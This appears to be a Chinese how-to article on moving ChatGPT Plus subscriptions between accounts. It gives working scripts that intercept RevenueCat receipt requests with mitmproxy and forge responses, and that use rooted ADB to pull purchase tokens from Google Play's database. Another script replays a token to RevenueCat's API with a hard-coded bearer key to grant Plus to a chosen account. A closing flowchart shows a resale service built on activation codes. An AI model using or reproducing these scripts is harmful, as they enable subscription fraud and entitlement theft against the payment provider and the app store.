GPT Plus 订阅转移全解析 - 从 Google Play Token 到一键开通的完整技术链路

1
# mitm_intercept.py — 自动拦截并保存 token
2
import json, time
3
from mitmproxy import http
4

5
TOKEN_FILE = "tokens.jsonl"
6

7
class RevenueCatInterceptor:
8
    def request(self, flow: http.HTTPFlow):
9
        if (flow.request.pretty_url.endswith("/v1/receipts")
10
            and flow.request.method == "POST"):
11
            try:
12
                body = json.loads(flow.request.get_text())
13
                fetch_token = body.get("fetch_token", "")
14
                if fetch_token:
15
                    record = {
16
                        "fetch_token": fetch_token,
17
                        "original_user_id": body.get("app_user_id", ""),
18
                        "captured_at": time.strftime("%Y-%m-%dT%H:%M:%SZ"),
19
                        "used": False
20
                    }
21
                    with open(TOKEN_FILE, "a") as f:
22
                        f.write(json.dumps(record) + "\n")
23
                    print(f"[+] Token captured: {fetch_token[:40]}...")
24

25
                    # 返回伪造响应，阻断真实请求
26
                    flow.response = http.Response.make(
27
                        200,
28
                        json.dumps({"subscriber": {"entitlements": {}}}),
29
                        {"Content-Type": "application/json"}
30
                    )
31
            except Exception as e:
32
                print(f"[-] Parse error: {e}")
33

34
addons = [RevenueCatInterceptor()]
35
# 启动: mitmproxy -s mitm_intercept.py -p 8888

1
"""
2
read_purchase_token.py
3
通过 ADB 从 Google Play library.db 读取 ChatGPT 购买 Token
4
"""
5
import os, json, time, sqlite3, tempfile, subprocess
6

7
OUTPUT_FILE = "purchases.txt"
8
DB_SRC      = "/data/data/com.android.vending/databases/library.db"
9
DB_SDCARD   = "/sdcard/.tmp_read_token.db"
10
DEVICE_SERIAL = ""  # 留空自动选第一台设备
11

12
def adb(*args, timeout=15):
13
    cmd = ["adb"]
14
    if DEVICE_SERIAL:
15
        cmd += ["-s", DEVICE_SERIAL]
16
    cmd += list(args)
17
    try:
18
        r = subprocess.run(cmd, capture_output=True, text=True, timeout=timeout)
19
        return r.returncode, (r.stdout + r.stderr).strip()
20
    except FileNotFoundError:
21
        return -1, "adb not found"
22

23
def read_token():
24
    tmp_path = None
25
    try:
26
        # Step 1: 用 root 权限把数据库复制到 sdcard
27
        code, out = adb("shell",
28
            f"su -c 'cp {DB_SRC} {DB_SDCARD} && chmod 644 {DB_SDCARD} && echo DONE'")
29
        if code != 0 or "DONE" not in out:
30
            print("复制失败，请确认设备已 Root")
31
            return
32

33
        # Step 2: pull 到本地
34
        _, tmp_path = tempfile.mkstemp(suffix=".db")
35
        adb("pull", DB_SDCARD, tmp_path)
36

37
        # Step 3: SQLite 查询
38
        conn = sqlite3.connect(tmp_path)
39
        cur  = conn.cursor()
40

41
        # 自动识别表结构
42
        cur.execute("PRAGMA table_info(ownership)")
43
        cols = [r[1] for r in cur.fetchall()]
44

45
        # 找 JSON 数据列
46
        json_candidates = ["inapp_purchase_data", "purchase_data", "value", "data"]
47
        json_col = next((c for c in json_candidates if c in cols), None)
48
        doc_col  = "doc_id" if "doc_id" in cols else cols[3]
49

50
        # 查 ChatGPT 相关购买记录
51
        sql = f"""
52
            SELECT account, {doc_col}, {json_col}
53
            FROM ownership
54
            WHERE ({doc_col} LIKE '%openai%' OR {doc_col} LIKE '%chatgpt%')
55
              AND {json_col} IS NOT NULL
56
            ORDER BY rowid DESC
57
        """
58
        rows = cur.execute(sql).fetchall()
59
        conn.close()
60

61
        # Step 4: 解析并保存 token
62
        saved = set()
63
        for row in rows:
64
            email    = str(row[0]) if row[0] else "unknown"
65
            raw_json = str(row[2]) if row[2] else ""
66
            if "purchaseToken" not in raw_json:
67
                continue
68
            data  = json.loads(raw_json)
69
            token = data.get("purchaseToken", "")
70
            order = data.get("orderId", "")
71
            if not token or token in saved:
72
                continue
73
            saved.add(token)
74

75
            entry = f"{time.strftime('%Y-%m-%d %H:%M:%S')} | {email} | {order} | {token}\n"
76
            with open(OUTPUT_FILE, "a") as f:
77
                f.write(entry)
78
            print(f"邮箱: {email}")
79
            print(f"Order: {order}")
80
            print(f"Token: {token[:60]}...")
81
            print(f"已保存 -> {OUTPUT_FILE}")
82

83
        print(f"共保存 {len(saved)} 条")
84
    finally:
85
        if tmp_path:
86
            os.unlink(tmp_path)
87
        adb("shell", f"rm -f {DB_SDCARD}")
88

89
if __name__ == "__main__":
90
    read_token()

1
import requests
2
import json
3

4
url = "https://api.revenuecat.com/v1/receipts"
5

6
headers = {
7
    "User-Agent": "Dalvik/2.1.0 (Linux; U; Android 16; Pixel 9 Build/BP4A.260205.001)",
8
    "Content-Type": "application/json",
9
    "X-Platform": "android",
10
    "X-Platform-Flavor": "native",
11
    "X-Platform-Version": "36",
12
    "X-Version": "9.22.1",
13
    "X-Client-Bundle-ID": "com.openai.chatgpt",
14
    "X-Observer-Mode-Enabled": "false",
15
    "X-Custom-Entitlements-Computation": "true",
16
    "X-Storefront": "US",
17
    "Authorization": "Bearer goog_DPguJtknNxbQBStStwhWGRsghUw",
18
    "X-RevenueCat-ETag": ""
19
}
20

21
data = {
22
    "fetch_token": "<你拿到的 purchase token>",
23
    "product_ids": ["oai.chatgpt.plus"],
24
    "platform_product_ids": [{"product_id": "oai.chatgpt.plus"}],
25
    "app_user_id": "<目标账号的 account_id>",
26
    "is_restore": True,
27
    "observer_mode": False,
28
    "purchase_completed_by": "revenuecat",
29
    "initiation_source": "unsynced_active_purchases",
30
    "sdk_originated": False,
31
    "payload_version": 1
32
}
33

34
response = requests.post(url, headers=headers, data=json.dumps(data, separators=(',', ':')))
35

36
if response.status_code == 200:
37
    result = response.json()
38
    subscriber = result.get("subscriber", {})
39
    entitlements = subscriber.get("entitlements", {})
40
    subscriptions = subscriber.get("subscriptions", {})
41

42
    if "chatgpt_plus" in entitlements:
43
        ent = entitlements["chatgpt_plus"]
44
        print("=" * 50)
45
        print("充值成功！")
46
        print("=" * 50)
47
        print(f"  账号 ID     : {subscriber.get('original_app_user_id')}")
48
        print(f"  到期时间   : {ent.get('expires_date')}")
49
        print(f"  产品标识   : {ent.get('product_identifier')}")
50

51
        for pid, sub in subscriptions.items():
52
            price = sub.get("price", {})
53
            print(f"  价格       : {price.get('amount', '?')} {price.get('currency', '')}")
54
            print(f"  订阅类型   : {sub.get('period_type')}")
55
            print(f"  是否沙盒   : {'是' if sub.get('is_sandbox') else '否'}")
56
    else:
57
        print("未找到 chatgpt_plus 权益，可能失败了")
58
        print(json.dumps(result, indent=2, ensure_ascii=False))
59
else:
60
    print(f"请求失败: {response.status_code}")
61
    print(response.text)

1
{
2
  "subscriber": {
3
    "entitlements": {
4
      "chatgpt_plus": {
5
        "expires_date": "2026-08-17T07:13:32Z",
6
        "product_identifier": "oai.chatgpt.plus",
7
        "purchase_date": "2026-07-17T07:13:32Z"
8
      }
9
    },
10
    "subscriptions": {
11
      "oai.chatgpt.plus": {
12
        "period_type": "trial",
13
        "price": { "amount": 0.0, "currency": "JPY" },
14
        "store": "play_store",
15
        "expires_date": "2026-08-17T07:13:32Z"
16
      }
17
    },
18
    "management_url": "https://play.google.com/store/account/subscriptions?..."
19
  }
20
}

1
用户拿到 CDK 激活码
2
    ↓
3
打开充值页面，输入激活码
4
    ↓
5
系统验证激活码有效性
6
    ↓
7
用户粘贴自己的 ChatGPT Session JSON
8
    ↓
9
系统解析 Session，提取 account_id
10
    ↓
11
系统从 Token 队列取一个 token
12
    ↓
13
调用 RevenueCat API 完成转移
14
    ↓
15
返回充值结果（成功/失败 + 到期时间）